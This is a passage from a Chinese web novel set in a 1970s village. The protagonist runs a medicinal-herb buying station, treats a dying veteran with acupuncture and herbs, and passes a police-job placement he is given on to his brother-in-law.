江沐的脑海里,系统的提示音接连不断地响起,虽然每次增加的声望值不多,但积少成多,数字正以一个喜人的速度向上攀升。 夕阳西下,天色渐渐暗了下来。 可队伍不仅没有变短,反而因为下工的人加入,变得更长了。 看着在昏暗光线下奋力辨认秤星的李有柱,和眯着眼记账的张小月,江沐眉头一皱,突然意识到一个严重的问题。 他走到李有柱身边,压低声音,“姑父,咱们这儿啥时候能通上电?老是这样摸黑干活也不是个事儿。” 第90章 咱们这是双赢 李有柱闻言一愣,随即一拍大腿。 “你瞧我这脑子!光顾着高兴了!这事儿包在我身上!我明天正好要去公社开会,顺道就去供电所问问,非得让他们先把电给咱们二大队拉过来不可!” “那就麻烦姑父了。” 李有柱嘿嘿一笑,从兜里掏出个宝贝疙瘩——一个军绿色的手电筒。 他按下开关,一道昏黄的光柱瞬间照亮了磅秤。 “先用这个凑合凑合!” 有了手电筒的照明,效率总算高了一些。 三个人一直忙活到晚上十点多,才总算将最后一批酸枣收完。 送走了李有柱和最后一波社员,院子里终于恢复了宁静。 张小月累得腰都直不起来了,但精神却异常亢奋。 江沐关上院门,拉着她回到屋里,煤油灯下,他拿出了账本和算盘。 “我来算算今天收了多少。” 算盘珠子被他拨得噼啪作响,张小月在一旁紧张地看着,连呼吸都放轻了。 片刻后,江沐停下了手,报出一个数字,“酸枣,一共收了一千二百斤。”他看着张小月,眼神亮得惊人,“咱们的差价是每斤五厘钱,一千二百斤,光今天下午,咱们就赚了六块钱。” “六……六块?”张小月捂住了嘴,眼睛瞪得溜圆。六块钱!她爹在生产队当小队长,一个月累死累活,补贴也才这个数! 江沐继续计算着,“这还只是第一天,而且只有咱们一个大队。等周围村子的人都来了,一天收个三四千斤不成问题。那样算下来,一个月光差价就能赚二百多。” “二百多!”张小月倒吸一口凉气,这个数字彻底超出了她的想象。 她只觉得一阵天旋地转,扶着桌子才勉强站稳,声音都有些发颤,“当家的,这……这钱挣得我心里有点发慌。会不会太多了?” “傻丫头。”江沐将她揽入怀中,轻轻拍着她的背安抚,“你以为杨小军是活雷锋?这是他求着咱们赚的。咱们赚这点差价,他把这些药材倒腾到市里、省里,赚得只会比我们多得多。咱们这是双赢。” 听他这么一解释,张小月的心才稍稍安定下来。 第二天,天刚亮,青莲公社收购点正式开张的消息,传遍了周边的十里八乡。 邻村的人们推着独轮车,挑着担子,络绎不绝地赶了过来。 收购的队伍比昨天还要长,一眼望不到头。 九点多的时候,一个熟悉的身影出现在人群中。 张小月定睛一看,又惊又喜。 “爹!” 张峰推着一辆吱呀作响的三轮车,车上堆着三个鼓鼓囊囊的大麻袋,他黝黑的脸上挂着汗珠,笑容却格外灿烂。 江沐立刻迎了上去,亲自帮着把麻袋卸下来过秤。 “爹,您怎么也来了。” “这么大的好事,我能不来吗?”张峰捶了捶后腰,笑得合不拢嘴。 一百五十斤,整整三块钱。 称完之后,江沐没给他打条子,而是直接从兜里掏出三张崭新的大团结,塞进了老丈人的手里。 张峰顿时愣住了,急忙把钱往回推,“哎,江沐你这是干啥?不是说好了周一才结钱吗?不能给你坏了规矩!” 江沐不由分说地将钱又塞了回去,压低了声音,“爹,您拿着就行,别跟别人声张。这是您一个人打的?” 张峰嘿嘿一笑,也凑过来小声开口。 “哪能啊!你娘,你大哥大嫂,全家都上山了!” 张小月一听,心里有点酸,连忙上前拉住父亲的胳膊,“爹,忙活一早上了,晌午就别回去了,在我这儿吃口饭再走。” “吃啥吃!”张峰大手一挥,急切道,“山上的酸枣可不等人!我得赶紧把这车推回去,换上麻袋再去一趟!你们忙,我走了!” 话音未落,他已经推起那辆空了的三轮车,一溜烟就消失在了人群里。 看着父亲风风火火的背影,张小月又是好笑又是心疼。 江沐走过来,帮她把散落在地上的几颗酸枣捡进筐里,“别看了,咱爹心里有数。咱们也得抓紧,把这些先搬进屋里去。” 两个人合力将一袋袋沉甸甸的药材往屋里腾挪,刚搬完两袋,累得满头大汗,张小月正准备去灶房下面条,院门口就传来一阵急促的脚步声。 “江娃子!江医生!天大的好事!” 人未到,声先至。 李有柱的大嗓门由远及近,他几乎是小跑着冲进院子,身后还跟着一个背着工具包、扛着一卷粗黑电线的陌生汉子。 “姑父,什么事这么高兴?”江沐递过去一碗凉白开。 李有柱摆摆手,顾不上喝水,指着身后的人,献宝似的开口。 “江娃子,昨儿个你不是说没电吗?我连夜托人去公社供电所找了关系,今天就把电工师傅给你请来了!喏,电线、灯泡、开关,我都给你弄来了几套,今儿非得让你家用上电灯不可!” 说着,他从自己带来的布袋里掏出几个崭新的灯泡和胶木开关,那架势,比自己家娶媳妇还上心。 江沐心中一暖。 他知道在这个年代,拉一根电线有多不容易,很多村子排队几年都轮不上。 那电工师傅也是个爽快人,放下工具就四下打量起来。 “线路从大队部那根主线杆上引过来最近,你们想在哪几个屋安灯?” 很快,电工师傅便爬上电线杆开始忙活起来。 李有柱则把江沐拉到一边,压低了声音开口,“江娃子,这电算是接到咱们大队部名下的,回头要是有人问起来,你就说是队上为了收购点晚上干活方便,特意给你接的临时线路。你家尽管用,电费队里给你出了!” 李有柱心里的小算盘打得噼啪响。 江沐可是财神爷,把他伺候好了,整个二大队的日子都能跟着好过。 这点电费算得了什么? 江沐看穿了他的心思,也不点破,只是郑重地拍了拍他的肩膀,“姑父,谢了。” 就在这时,屋檐下拴着的虎虎和生威突然叫了两声,然后跑到灶房门口,用头拱了拱门帘,又回头看看院子里的两人。 “面好了,叫咱们吃饭呢!”江沐说道。 李有柱看得眼睛都直了,“乖乖!江娃子,你家这两条狗是成精了吧?还会叫人吃饭?” 江沐笑了笑,没多解释。 第91章 当家的,咱们真的过上好日子了 一顿简单的肉臊子面吃完,外面的线路已经接好。 江沐亲自动手,没一会儿就在卧室、厨房,甚至院子中央都安上了灯泡。 下午六点,太阳刚下山,进山的人们陆陆续续地回来了。 今天的收获远比昨天丰厚,收购点的队伍排成了长龙。 江沐拉下院子里的电灯开关。 一瞬间,整个院子照得如同白昼。 排队的社员们发出一阵惊叹,在这亮堂堂的光线下,每个人的脸上都洋溢着喜悦。 有了电灯,效率大大提高。 江沐负责称重,张小月负责记账,李有柱在旁边维持秩序,三个人配合默契,一直忙到深夜十一点,才将所有的药材全部入库。 关上院门,张小月累得几乎站不住,但精神却极度亢奋。 回到屋里,她看着桌上那本记得密密麻麻的账本,声音都在发颤。 “当家的,快算算,今天……今天咱们挣了多少?” 江沐拿起算盘,手指翻飞,清脆的算珠撞击声在安静的夜里格外悦耳。 “酸枣三千一百斤,干枣核八十斤,零零总总加起来,光差价,今天一天,咱们就赚了十四块六毛三分钱。” “十四块……”张小月激动得一把抱住江沐,眼眶都红了,“当家的,咱们真的过上好日子了!” 江沐轻抚着她的后背,感受着怀中人儿的颤抖,心中一片柔软。 【叮!声望商城系统提示:当前声望值824点。】 脑海中,系统的声音适时响起,为这丰收的一天画上了一个圆满的句号。 …… 次日清晨,天刚蒙蒙亮,一辆解放卡车就停在了院门口。 杨小军从驾驶室里跳下来,一脸笑意,“江哥,准备好了吗?咱们该进城了。” 江沐和张小月告别,上了车。 卡车先是开到了公社,接上了一个穿着旧军装、精神矍铄的老人。 “江医生,给你介绍一下,这位是我老丈人,马忠文,要看病那个,和我老丈人是过命的交情!”杨小军介绍道。 “马老爷子好。”江沐客气地点了点头。 “哎!你就是江医生?看着可真年轻!”马忠文打量着江沐,话匣子一打开就收不住了,“想当年在战场上,咱们缺医少药,受了伤全靠硬扛!那时候我就想,要是有个神医在身边,咱们能少死多少好兄弟……” 一路之上,马忠文都在滔滔不绝地讲述着当年的战火纷飞,言语间满是对老战友的担忧。 卡车一路颠簸,最终在市武装部家属院的大门口停了下来。 这是一片红砖小楼,环境清幽,站岗的哨兵笔直地挺立着。 车刚停稳,一个三十岁左右、面带焦色的年轻人就快步迎了上来。 “马叔,您可算来了!” 马忠文跳下车,拉过江沐,郑重地介绍,“大强,这就是我跟你提过的江沐,江医生!医术非常高明!”他又转向江沐,“小江,这是周老哥的儿子,周大强。” “周大哥。”江沐伸出手。 “江医生,快!快请进!”周大强紧紧握住江沐的手,急切地将他们往屋里引。 一进屋,一股浓重的中药味便扑面而来。 马忠文一步跨到里屋门口,声音都变了调,“弟妹!我老哥他……他怎么样了?” 一个头发花白的老太太从里屋走出来,眼圈红肿,声音沙哑,“一天不如一天了……昨天就水米不进了……” 马忠文再也忍不住,一个箭步冲进卧室,当看到病床上那个形容枯槁、瘦得只剩一把骨头的老人时,这个七尺高的汉子眼泪流了下来。 “老哥!我的老哥哥啊!”他扑到床边,泣不成声。 他猛地回头,朝江沐招手,声音哽咽,“小江!快!快来给我老哥看看!” 病床上的周老爷子艰难地睁开浑浊的双眼,看到老战友,勉强笑道,“老马……你来了……别费事了,我的身子……我自己清楚,没几天了……” 江沐没有说话,他走到床边,沉静地坐下,将三根手指轻轻搭在了周老爷子的手腕上。 房间里瞬间安静下来,所有人的目光都聚焦在他身上。 时间一分一秒地过去。 江沐的眉头,却在众人紧张的注视下,越皱越紧。 片刻后,他收回手,脸色变得异常凝重。 “江医生,怎么样?我爹他……”周大强的心提到了嗓子眼。 江沐抬起眼帘,目光扫过众人焦灼的面庞。 “周老爷子的身体,已经是油尽灯枯之势。五脏六腑的生机都已衰败到了极点,恕我直言,神仙难救。” 周大强眼前一黑,身子晃了晃,险些栽倒在地。 马忠文也是脸色煞白,刚刚燃起的希望之火,被这盆冷水浇得一干二净。 “没……没救了?”马忠文喃喃自语。 江沐顿了顿,给了他们喘息的余地,“彻底根治,绝无可能。但若只是保守调理,让他最后这段日子走得安详一些,我倒是可以想想办法。只不过,即便如此,最多也只有半年光景。” 半年! 这个词让周大强绝望的眼中又迸射出光亮。 只要能让父亲少受罪,哪怕多活一天也是好的! 江沐的目光再次落回周老爷子枯槁的手腕上,他呢喃着。 “老爷子身体衰败至此,不仅仅是年岁的原因。早年间定是受过极重的内伤,而且……身体里应该还有弹片之类的东西,常年累月地侵蚀着生机。” “弹片?!” 马忠文猛地抬起头,浑浊的双眼瞬间布满血丝,他死死盯着病床上的老战友,嘴唇哆嗦着,声音嘶哑得不成样子。 “有……有的!就在……就在老哥的心口窝旁边!那颗子弹,是……是替我挡的啊!” 这个七尺高的硬汉子,再也支撑不住,双膝一软,竟直挺挺地跪在了江沐面前! “江医生!求求你!求求你救救我老哥!”他声泪俱下,额头重重地磕在冰凉的水泥地上。 “只要你能让他少受点罪,我马忠文这条命给你都行!” 周大强见状,也跟着跪了下来,痛哭流涕,“江医生,我给您磕头了!求您发发慈悲,救救我爹吧!” 一时间,屋子里只剩下沉重的磕头声和压抑的哭泣声。 第92章 江医生,您就是我家的救命恩人 “都……起来……” 病床上,周老爷子虚弱的声音响起,气若游丝。 他艰难地转过头,看着跪在地上的马忠文道,“老马,你这是干什么……你忘了?当年要不是你把晋升的机会让给我,我早就死在后面的那场遭遇战里了。我这条命,是你给的,替你挡颗子弹,咱俩……两清了。” 他又看向自己的儿子,叹了口气,“大强,别为难江医生了。爹自己的身体,自己清楚。” 周老爷子的目光变得悠远,“我这辈子,值了。唯一的遗憾,就是没能亲眼看着你成家……老马,你起来。” 马忠文被周大强搀扶着站起身,眼泪还在往下淌。 “老哥,你说!” “我走之后,大强的婚事……就拜托你了。”周老爷子恳求道。 马忠文挺直了腰杆,用力一抹眼泪,立下军令状,“老哥你放心!从今往后,大强就是我马忠文的亲儿子!我一定给他找个好媳妇,风风光光地办了!不让他受半点委屈!” 说完,他再次转向江沐,和周大强一起,深深地鞠了一躬。 “江医生,我老哥的遗愿您也听到了!我们不求起死回生,只求您能出手,让他能安安稳稳地走完最后一程,求您了!” 看着眼前这幅场景,江沐心中微动。 他见惯了生死,却很少见到如此深厚炽烈的情义。 他沉默片刻,终于点了点头。 “拿纸笔来。” 周大强手忙脚乱,飞快地从抽屉里翻出纸笔,恭恭敬敬地递到江沐面前。 江沐接过纸笔,手腕悬空,笔走龙蛇,一连串药名在纸上流淌而出:“当归、黄芪、川芎、党参……”他一连写下十几味药材,每一味后面都标注了精准的克数。 写完,他将药方递给周大强,叮嘱道,“这上面的药,一味都不能少,更不能用别的替代。必须严格按照这个方子去抓。” 随后,他看向床上的周老爷子,语气温和了几分。 “老爷子,我等下为您施一次针灸,能让您今晚就睡个安稳觉。针灸时您会直接睡过去,不必惊慌。等您明天睡醒了,就可以试着下地走动走动。” 他顿了顿,接着道,“只要坚持喝药,最多一个月,您的身体就能恢复到病发前的状态。后续药物不断,撑过半年,不成问题。” “谢谢!谢谢江医生!”周大强,紧紧攥着那张药方,激动得语无伦次,“江医生,您就是我家的救命恩人!以后在陕州地界上,有任何处理不了的事情,您直接来找我周大强!” 江沐不置可否,只是从随身携带的布包里,取出了一套用布卷着的银针。 他示意众人让开一些,然后坐在床边,捏起一根银针,目光瞬间变得专注。 “我要开始了。” 话音未落,他迅速出手,银针精准无误地刺入了周老爷子头顶的百会穴。 紧接着,是神庭、印堂、人中……他的动作行云流水,没有丝毫的迟滞。 几针下去,周老爷子原本紧蹙的眉头渐渐舒展开来,呼吸也变得平稳悠长。 待所有银针各就各位,江沐才站起身来。 “好了,你们都先出去吧。一个小时之后才能拔针,期间不要打扰。” 他看向周大强,“趁着这个时间,你马上去中药房,把药抓回来。” “哎!好!我马上去!”周大强如梦初醒,拿着药方立刻冲了出去。 屋内只剩下江沐和陷入沉睡的周老爷子,安静得只听得见窗外偶尔传来的几声鸟鸣。 不到一个小时,周大强就提着几个散发着浓郁药香的纸包,跑了回来。 江沐接过药包,解开绳子,将里面的药材一一倒在桌上,仔细地捻看、嗅闻,确认药材的年份和品质都没有问题,才点了点头。 “药没问题。” 他将药材重新包好,递还给周大强。 “我去给老爷子熬药。” 说着,他便拿着药包,径直走向了厨房。 周大强手忙脚乱地从碗柜里翻出一个崭新的砂锅,双手捧到江沐面前。 “江医生,您看这个行不行?新买的,还没开过火!” 江沐接过砂锅,入手沉甸甸的,他掂了掂,又用指节敲了敲锅壁,听着那清脆的回响,这才满意地点了点头。 他一边将药材按君臣佐使的顺序依次放入,一边头也不抬地发问。 “老爷子平时抽烟喝酒吗?” “啊?”周大强愣了一下,随即老老实实地回答。 “都……都沾点。酒瘾大一些,每天不喝二两心里就不得劲。烟也就饭后抽一根。” 江沐的动作没有丝毫停顿,“酒,从今天起,一滴都不能碰。烟,可以少抽,但最好也戒了。这药性烈,酒是催命符,二者相冲,谁也救不了他。” 周大强一个激灵,腰杆瞬间挺得笔直,立刻道。 “我记下了!江医生您放心,我爹的酒我亲自给他倒了!烟也给他藏起来!我亲自盯着他!” 江沐不再多言,将最后一味药材放入锅中,又舀了三瓢清水进去。 “看好了,三碗水煎成一碗,先用大火烧开,再转文火慢熬。期间不能离人,药汁不能溢出来,一个钟头后准时关火。” 他交代完,便转身走出了厨房,留下周大强一个人,守在灶台前,眼睛死死地盯着那锅续命汤。 一个小时,分秒不差。 江沐掐着点走进卧室,马忠文和周家女眷都屏息凝神地等在外面,连大气都不敢喘。 只见江沐走到床边,指尖在周老爷子头顶、眉心的几处大穴上轻轻捻动。 那些银针被他一一收回,悄无声息地归入布卷之中。 自始至终,床上的周老爷子都睡得极为安详,呼吸平稳绵长,甚至还发出了轻微的鼾声。 这鼾声在此刻的周家人听来,不啻于天籁之音! “好了,让他好好睡一觉。明天早上,他自己就能醒。” 第93章 我不想让你受委屈 江沐走出房间,马忠文立刻迎了上来,一把抓住他的手,眼神里满是感激。 “江医生,大恩不言谢!诊金的事,你不用跟大强说,我来办!保证让你满意!” 他压低了声音,又拍了拍身边周大强的肩膀。 “你小子也别一天到晚愁眉苦脸的了,你爹的身子骨有了指望,你也该考虑考虑自己的终身大事了!这事,我也包了!回头就托人给你物色个好姑娘!” 回去的路上,还是杨小军开着那辆解放卡车。 车厢里,马忠文沉默了许久,最终作出决定。 直到卡车快要驶入青莲公社的地界,他才终于开口。 “江医生,今天这事,我们周马两家,欠你一个天大的人情。这个人情,不能不还。” 他伸出两根手指。 “两条路,你自己选。” “第一,我给你五百块钱现金。我知道你们知青日子苦,这笔钱,够你在乡下过得舒舒服服。” 五百块! 开车的杨小军手一抖,卡车都跟着晃了一下。 在这个工人月薪普遍只有二三十块的年代,五百块简直是一笔天文数字! 足以在县城盖一栋大瓦房了! 江沐眼皮都没抬一下,神色平静,似乎那五百块在他眼里不过是一堆废纸。 马忠文看着他波澜不惊的脸,眼中闪过一丝赞许,继续开口。 “第二,我给你一个正式工的名额。青莲公社派出所的,户籍警。吃公家饭,铁饭碗,一辈子都有保障。” 话音刚落,江沐有了一些兴趣。 钱是死物,花完就没了。 但一个铁饭碗,一个派出所的正式编制,在这个年代,意味着的不仅仅是一辈子的保障,更是一张通往权力阶层的入场券,是一份沉甸甸的人脉和地位! 他几乎没有任何犹豫。 “我要名额。” “好!”马忠文一拍大腿,脸上露出果然如此的笑容,“我就知道你小子不是一般人!行,这事就这么定了!三天之内,调令就给你送到公社去!” 卡车在江沐家院外停下,马忠文热情地邀请。 “江医生,天色不早了,要不去我家吃顿便饭?” “不了,马叔。”江沐跳下车,拍了拍身上的尘土,“家里就我媳妇一个人,她该等急了。” 马忠文脸上的笑容更加真切。 重情重义,有本事还不忘本,这样的年轻人,前途不可限量! …… 推开家门,屋里亮着煤油灯,张小月正坐在灯下,低着头用算盘核对着今天的账目。 听到动静,她惊喜地抬起头。 “你回来啦!” 江沐嗯了一声,脱下外套,“今天收了多少?” “收了不少!今天大家伙好像都疯了,送来的药材堆得跟小山似的,我登记的手都酸了!”张小月将账本递过去。 江沐接过账本扫了一眼,却没有细看,他坐到妻子身边,握住她因为打算盘而有些冰凉的手。 “小月,有件事跟你商量。” 他将周老爷子的病情和马忠文给出的报酬原原本本地说了一遍。 当听到派出所正式工这几个字时,张小月的呼吸猛地一滞,她嘴巴微张,半天都合不拢。 那可是……铁饭碗啊! 多少人打破头都抢不到的香饽饽! 江沐看着她震惊的模样,微微一笑,抛出了一个更让她意想不到的决定。 “这个名额,我想让你哥张玖博去。” “什么?!” 张小月失声惊呼,她猛地站起身,声音都带着颤音,“给……给我哥?江沐,你知不知道这……这是什么?” “我知道。”江沐坚定道,“你哥为人老实,又读过高中,正是合适的人选。他当了警察,以后在公社,也没人敢再欺负你们张家人。最重要的是……” 他顿了顿,将妻子重新拉回怀里,轻声在她耳边开口。 “你是我的媳妇,你的家人,就是我的家人。我不想让你受委屈。” 温热的气息拂过耳畔,张小月的眼圈一下子就红了。 她什么话也说不出来,只是猛地扑进江沐怀里,将脸埋在他的胸膛,肩膀抑制不住地耸动着,滚烫的泪水瞬间浸湿了他的衣襟。 下午,张小月的父亲张峰果然又推着一辆独轮车,满头大汗地进了院子。 车上,是满满一口袋刚从山上采下来的药材。 江沐二话不说,拿出杆秤,麻利地称重、记账,然后从口袋里掏出早就准备好的钱,递了过去。 “爹,一共一百八十斤,这是三块六毛钱,您收好。” 张峰却连连摆手,黝黑的脸上带着执拗。 “这钱不能要!说好了,这些都是给小月的陪嫁!你再给钱,就是打我的脸!” “一码归一码。” 江沐的态度却更加强硬,“您辛苦上山采药,我收了拿去卖钱,哪有不给钱的道理?您要是不收,这药我也不要了。” 说着,他直接上前一步,将那一沓毛票塞进了张峰上衣的口袋里,还用力拍了拍。 张峰被他这番举动弄得没辙,只能苦笑着收下。 江沐这才满意地点点头,随即话锋一转。 “爹,还有件事,想跟您说。” 他将那个派出所工作名额的事情,言简意赅地告诉了张峰。 张峰僵在原地,手里推着的独轮车都失去了控制,重重地砸在地上。 他嘴唇哆嗦着,盯着江沐,仿佛在确认自己是不是在做梦。 “江……江沐……你……你说的……是真的?” “千真万确。” “让我家玖博……去当公安?” “对,我已经跟人说好了,就等哥去报道。” 短暂的死寂之后,张峰的身体猛地一颤,这个朴实的庄稼汉子,眼眶瞬间就红了。 但他没有激动地道谢,反而后退了一步,神情无比严肃地摆着手。 “不行!这绝对不行!江沐,这么天大的人情,我们张家受不起!” 他深吸一口气道,“这个名额,不能白拿!我听人说过,市面上有门路的人倒卖一个正式工名额,黑市价就得五百块!这个钱,我们张家认!等玖博上了班,发了工资,我让他一分一分地还给你!” “爹,您这是说的哪里话,我们是一家人……” “一家人也要明算账!”张峰打断了江沐的话,态度前所未有的强硬。 “你要是还认我这个岳父,这事就必须听我的!不然,这个名额,我们宁可不要,也不能让你被人戳脊梁骨,说你倒贴我们张家!” 看着岳父那眼神,江沐知道,再说下去只会伤了老人的自尊。 他心中微暖,无奈地叹了口气。 “好,我听您的。那您明天,就让大哥过来一趟吧。” 第94章 小月嫁给你,是我们祖坟冒青烟 翌日上午十点刚过,院门外就传来了卡车熄火声。 杨小军人未到声先至,嗓门洪亮地喊着江医生,一阵风似的冲了进来。 他脸上挂着灿烂的笑,手里捏着一张叠得方方正正的信纸,递到江沐面前。 “江医生,马叔让我给您送来的!武装部开的介绍信,红头文件!您瞧瞧,名字那栏空着呢,您让谁去,把名字填上就行!” 江沐接过那张薄薄的纸,入手却感觉沉甸甸的。 展开一看,鲜红的抬头印着革命委员会介绍信,下面的正文言简意赅,却足以改变一个农村青年一辈子的命运。 “谢了,小军,进屋喝口水。” “不了不了!”杨小军摆着手,笑道,“我老丈人还等着我回话呢,我就是个跑腿的!江医生您忙!” 说完,他又离开了,留下介绍信。 杨小军走后,张小月才从屋里探出头来。 “他就是来送这个的?” 江沐把介绍信递给她。 张小月小心翼翼地接过来,这还是她第一次亲眼见到这种大人物才能用上的东西。 她的指尖轻轻拂过那鲜红的抬头,“真……真就凭这张纸,我哥就能去当公安了?” “对,就凭这张纸。”江沐看着她那副没见过世面的可爱模样,忍不住轻笑出声,伸手揉了揉她的头发。 下午七点多,天刚擦黑,张峰就带着张玖博来了。 张玖博手里还提着一块腊肉,进门后手脚都不知道该往哪儿放。 “爹,大哥,你们来了。”江沐迎了上去,自然地接过腊肉,“来就来,还带什么东西。” 院子里,已经有零零散散的村民在排队交药材。 两人二话不说,也跟着一起忙活起来。 张峰负责把麻袋扛上秤,张玖博则拿着江沐给的纸笔,记着斤两。 只是今天来的人,明显比前两天少了一半不止。 送到天黑,也再没人来了。 忙到晚上十点,院子里总算清静下来。 张小月手脚麻利地去厨房下挂面,卧了四个荷包蛋。 堂屋里,江沐将那封叠好的介绍信从口袋里掏了出来,放在了桌上,推到张玖博面前。 张玖博目光落在那张纸上,整个人一动不动。 “大哥,把你的名字填上去。明天一早,就带着它去公社派出所,找王所长报道。那边我都打点好了,你直接去就行。” 江沐的声音平静。 张玖博想开口,却发不出半点声音。 他伸出手,想要去拿那封信,可那只在田里干惯了粗活的手,此刻却怎么也稳不住。 “好好干。”江沐看着他,笑道,“个,你这人什么都好,就是有时候嘴太笨,不会说话,到了新地方,多看,多听,少说,但该你表态的时候,也别当闷葫芦。” “我……我知道……”张玖博终于挤出几个字,“江沐……这……这份人情……钱,我以后发了工资,一定……一定一分不少地还给你!” “一家人,还不还的做什么。”江沐摆了摆手,语气轻松,“我跟你妹妹现在不缺钱花,你安心把工作干好,比什么都强。” “不行!”一旁的张峰突然开了口,态度强硬。 他从洗得发白的中山装内兜里,摸出一个用手帕裹得严严实实的布包,一层,两层,三层地揭开,露出里面一沓崭新的大团结。 他将那一百块钱重重地拍在桌上,推到江沐面前。 “这是头一百块!剩下的,我们慢慢还!江沐,你要是不收,就是看不起我们老张家!” “爹!您这是干什么!”江沐皱起了眉,又把钱推了回去。 “你必须收下!”张峰梗着脖子,“不然这工作,我们宁可不要!” 两人在桌上推搡了一圈,最后,江沐无奈地叹了口气,抓起那沓钱,却没揣进自己兜里,而是绕过桌子,一把塞回了张峰的中山装口袋里,还用力拍了拍。 “钱我心领了,这事以后再说。您要再这样,我可真生气了。” 张峰愣住了,感受着口袋里那厚实的一沓钱,这个半辈子没掉过一滴泪的庄稼汉子,眼眶又是一热。 他看着眼前这个沉稳干练的女婿,千言万语都堵在心口,最后只化作一句感慨。 “小月嫁给你,是我们祖坟冒青烟了……” 江沐笑了笑,话锋一转。 “爹,还有个事。您看今天收的酸枣,量已经很少了。山上的差不多也该被薅光了,这生意做不长久。” 张峰闻言,也忧心忡忡地点了点头,“是啊,这可咋办?” “山里不止有酸枣。”江沐的眸子里闪着精光,“还有别的药材。比如太白七药,专治跌打损伤,县里药材站收购价一斤能给到八分钱,比酸枣核还值钱。” “太白七…药?”张峰一脸茫然,“俺不认得那么多草药啊,万一挖错了,吃出事来可就糟了。” “没事。”江沐胸有成竹,“那玩意儿好认得很,叶子长什么样,根是什么颜色,我跟您一说您就明白。这样,明天我手头事少,我带您进山里走一趟,指给您看。以后,您就带着村里人挖这个。” 父子俩又聊了许多细节,直到半夜,张峰才带着激动得还有些魂不守舍的张玖博回了家。 刚一推开门,在堂屋里焦急等候的刘桂芝就迎了上来,一把拉住大儿子。 “咋样了?玖博,工作的事,成了没?” 张玖博还没从巨大的冲击中回过神来,只是木讷地点了点头,颤抖着手从怀里掏出那封介绍信。 刘桂芝一把抢了过去,就着昏暗的灯光,一个字一个字地辨认着。 当看清青莲公社派出所和报到几个字时,她猛地一拍大腿。 “哎呦我的老天爷!成了!真的成了!我儿子要当公安了!” 她激动地在屋里转了两圈,随即又一把抓住张玖博的胳膊,眼睛放光地盯着他的肚子,话锋猛地一转。 “玖博啊!现在工作定下来了,吃上公家饭了,你跟媳妇那头,也该抓紧了!趁娘还干得动,赶紧给娘生个大胖孙子抱抱!有了铁饭碗,还怕养不活吗?” 第95章 你和江医生,是什么关系 张玖博的婆娘林秋红,一双眼早就黏在了那张薄薄的介绍信上。 婆婆刘桂芝还在耳边念叨着抱孙子的事,林秋红的脸颊立刻红了,却没有害羞躲闪,反而重重地点了下头,声音不大但异常清晰。 “娘,您放心,我和玖博……我们晓得。” 有了这份公家的铁饭碗,肚子里的那点底气,瞬间就足了。 往后生的娃,就不是泥腿子,而是公安的后代! 这注定是一个无眠的夜晚。 次日,天刚蒙蒙亮,鸡才叫了头遍,江沐家的院门就被敲响了。 张峰和刘桂芝老两口精神矍铄地站在门外。 “江沐,起来没?俺们来咧!”刘桂芝笑着说着。 江沐刚打完一套拳,身上还带着晨练的热气。 他拉开门栓,看着岳父岳母那双熬得通红的眼睛,不由失笑。 “爹,娘,这么早。先进来喝口热粥。” “不喝了不喝了!”张峰摆着手,黝黑的脸上满是急切,“正事要紧!你昨天说的那个……太白七药,可不能耽搁了!” 江沐拗不过他们,只得快速地扒了两口饭。 待张小月将几个热乎的玉米饼子用布包好塞进他挎包里,他便领着老两口,迎着朝阳,朝着青莲山深处走去。 山路上,已经能看到三三两两的村民,背着背篓,还在不死心地翻找着酸枣树。 见到江沐,都热情地打着招呼。 “江医生,又上山挖药呐?” “是啊,叔,您这又是满载而归啊。”江沐笑着回应,脚步却没停。 他领着张峰和刘桂芝,特意绕开了常有人走的大路,钻进了一片林子更密的山坳。 拨开一片半人高的蕨类植物,江沐蹲下身,指着一株不起眼的草药。 “爹,娘,您看。这就是铁牛七。”他捻起一片叶子,在指尖揉了揉,“叶对生,形如羽毛,一枝七片,这是最好认的特征。它的根是黄褐色的,挖出来有股子土腥味,错不了。” 他又在旁边找到了另一种根茎肥厚的植物,“这个叫土牛膝,活血化瘀的,药材站也收,价钱跟酸枣核差不多,但它长得密,一挖就是一片。您二老把这两样记牢了,挖回去先对着样子认,别搞混了。” 张峰和刘桂芝连连点头。 就在江沐带着岳父岳母在山里传经送宝的时候,另一头,张玖博和林秋红已经换上了自己最体面的一身衣裳,站在了公社派出所的大门前。 张玖博紧张得手心直冒汗,喉咙发干。 这地方,他活了二十多年,只在远处看过。 林秋红比他镇定些,她拽了拽丈夫的衣角,低声打气,“挺起胸膛,你现在是来当公安的,不是来挨批的!” 守门的大爷靠在躺椅上,眯着眼,一副爱答不理的模样。 张玖博深吸一口气,从兜里摸出一根大生产牌香烟,恭恭敬敬地递了过去。 “大爷,抽根烟。俺是来……来报道的。” 那大爷眼皮抬了抬,接过烟,在鼻子下闻了闻,这才慢悠悠地开了口,“介绍信呢?” 张玖博赶忙将那封叠得整整齐齐的介绍信递上。 大爷扫了一眼,又把信还给了他,指了指里面的院子,“等着吧。所长开早会呢,没那么快,估摸着还得半个钟头。” 半个小时后,那大爷打了个哈欠,朝着院里努了努嘴,“行了,去吧。二楼,左手第一间,所长办公室。” 张玖博千恩万谢,拉着林秋红,同手同脚地上了吱呀作响的木楼梯。 刚到二楼,一个穿着制服的年轻民警就拦住了他们,眉头一皱,“干什么的?报案去一楼登记!” “不,不是……”张玖博结结巴巴,脸涨得通红,半天憋不出一句整话。 还是林秋红反应快,一把将介绍信塞到丈夫手里,“把介绍信给同志看!” 张玖博连忙将那信纸展开。 年轻民警接过去,目光落在信纸上的瞬间,脸上的不耐烦立刻烟消云散。 “哎呀!您就是张玖博同志吧?快请进快请进!昨天所长就特意交代了!”他连忙让开身,“我叫于得水,后勤的。您跟我来,所长就在办公室!” 这态度的转变之快,让张玖博有些发懵,只是被动地被于得水领着,敲开了所长办公室的门。 所长是个四十多岁的中年人,国字脸,他没有立刻看张玖博,而是先将目光投向了于得水。 “所长,人来了。” 所长这才点了点头,视线落在张玖博身上。 “你和江医生,是什么关系?” 这个问题,江沐昨天特意交代过。 张玖博不敢隐瞒,老老实实地回答,“报告所长,他……他是我妹夫。” “嗯。”所长指尖在桌面上轻轻敲了敲,“我们所里的编制,本来是满的。但市里武装部的马老亲自打了招呼,点了你的名。既然是人才,我们也不能拒之门外。” 张玖博这才明白,这份工作背后的人情,远比他想象的要大得多! “以后好好干。”所长从抽屉里拿出一份文件,“这是你的档案。于主任,带他去办手续,哦对了,把张钱叫来。” 不一会儿,一个身材高大、皮肤黝黑的民警走了进来,站得笔直。 “所长!” “张钱,这是新来的同志张玖博,以后分在你那队,你多带带他。” “是!”张钱打量了张玖博一眼,笑道,“放心吧所长!” 